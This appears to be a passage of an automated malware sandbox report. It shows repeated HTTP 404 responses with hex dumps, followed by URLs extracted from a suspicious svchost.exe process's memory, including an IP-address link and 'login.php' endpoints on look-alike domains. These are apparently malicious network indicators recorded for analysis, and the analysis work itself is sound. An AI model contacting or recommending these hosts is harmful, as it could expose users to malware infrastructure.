Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:48 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:14:52 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:14:53 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:14:53 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:14:53 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:14:53 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:14:53 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:15:01 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: svchost.exe, 00000002.00000003.2434703123.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2471230850.0000000005801000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2433894969.00000000087AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://106.15.232.163:8000/dh/147287063_134827.html#index8?d=lyrysor.com
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacycus.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacydes.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302611741.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296876973.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303296410.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297408732.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacyfew.com/login.php
